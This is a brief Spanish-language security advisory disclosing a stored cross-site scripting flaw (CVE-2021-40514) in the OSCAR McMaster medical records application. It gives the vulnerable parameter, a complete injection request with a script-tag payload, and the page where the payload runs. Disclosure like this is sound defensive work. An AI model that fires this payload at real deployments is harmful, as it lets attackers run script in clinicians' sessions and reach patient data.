CVE-2021-40514 Vulnerabilidad de Cross Site Scripting Almacenado en OSCAR McMaster 19.40~1235

Existe una vulnerabilidad de Cross Site Scripting almacenado en múltiples páginas de la versión 19.40~1235 de la aplicación OSCAR McMaster que permite la ejecución arbitraria de comandos JavaScript.

[Marcador de posición para CVE mitre]

Páginas JSP Vulnerables:

providercontrol.jsp - parámetro mygroupno

Ejemplo de Payload Vulnerable:

/oscar/provider/providercontrol.jsp?provider_no=999998&start_hour=8&end_hour=18&every_min=15&color_template=deepblue&dboperation=updatepreference&displaymode=updatepreference&default_servicetype=&prescriptionQrCodes=false&erx_enable=false&erx_training_mode=false&mygroup_no=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E&programId_oscarView=0

La respuesta almacenada se ejecuta contra el usuario en el siguiente enlace:

/oscar/provider/providercontrol.jsp?year=2021&month=8&day=1&view=0&displaymode=month&dboperation=searchappointmentmonth

Descubierto por Jack McBride, agosto de 2021.